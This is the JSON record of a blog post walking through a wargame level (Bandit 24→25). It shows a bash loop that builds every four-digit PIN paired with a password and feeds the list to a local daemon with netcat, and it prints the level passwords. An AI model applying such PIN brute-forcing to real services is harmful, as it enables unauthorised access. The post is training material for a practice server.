{"id":1247,"date":"2019-09-11T23:00:56","date_gmt":"2019-09-11T15:00:56","guid":{"rendered":"http:\/\/van-yzt.com\/?p=1247"},"modified":"2019-09-11T23:00:56","modified_gmt":"2019-09-11T15:00:56","slug":"bandit-level-24-%e2%86%92-level-25","status":"publish","type":"post","link":"https:\/\/huzi-baozi.com\/?p=1247","title":{"rendered":"Bandit Level 24 \u2192 Level 25"},"content":{"rendered":"<p>A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.<\/p>\n<h2>\n\u89e3\u5bc6<\/h2>\n<pre><code class=\"language-shell\">bandit24@bandit:~$ :&gt;\/tmp\/tmp.1YN5hffeea\nbandit24@bandit:~$ for i in {0000..9999}\n&gt; do\n&gt; echo &quot;UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i&quot; &gt;&gt; \/tmp\/tmp.1YN5hffeea\n&gt; done\n\nbandit24@bandit:~$ nc localhost 30002 &lt; \/tmp\/tmp.1YN5hffeea\n\n...\n\nCorrect!\nThe password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG\n\n<\/code><\/pre>\n<h2>\n\u77e5\u8bc6\u70b9<\/h2>\n<ol>\n<li>\n\u5faa\u73af<code>i in {0000..9999}<\/code>\uff0c\u4ece<code>0000<\/code>\u5230<code>9999<\/code>\uff0c\u5728\u524d\u9762\u62fc\u4e0abandit24\u5bc6\u7801\u8f93\u5165\u5230\u6587\u4ef6\u4e2d\uff1b<\/li>\n<li>\n\u4f7f\u7528<code>nc<\/code>\u4ece\u6587\u4ef6\u4e2d\u8bfb\u5165\u4f20\u8f93\u5230\u672c\u5730\u7aef\u53e330002\uff1b<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. \u89e3\u5bc6 bandit24@bandit:~$ :&gt;\/tmp\/tmp.1YN5hffeea bandit24@bandit:~$ for i in {0000..9999} &gt; &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/huzi-baozi.com\/?p=1247\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Bandit Level 24 \u2192 Level 25&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-1247","post","type-post","status-publish","format-standard","hentry","category-bandit"],"_links":{"self":[{"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/posts\/1247","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1247"}],"version-history":[{"count":1,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/posts\/1247\/revisions"}],"predecessor-version":[{"id":1248,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=\/wp\/v2\/posts\/1247\/revisions\/1248"}],"wp:attachment":[{"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1247"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1247"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/huzi-baozi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1247"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}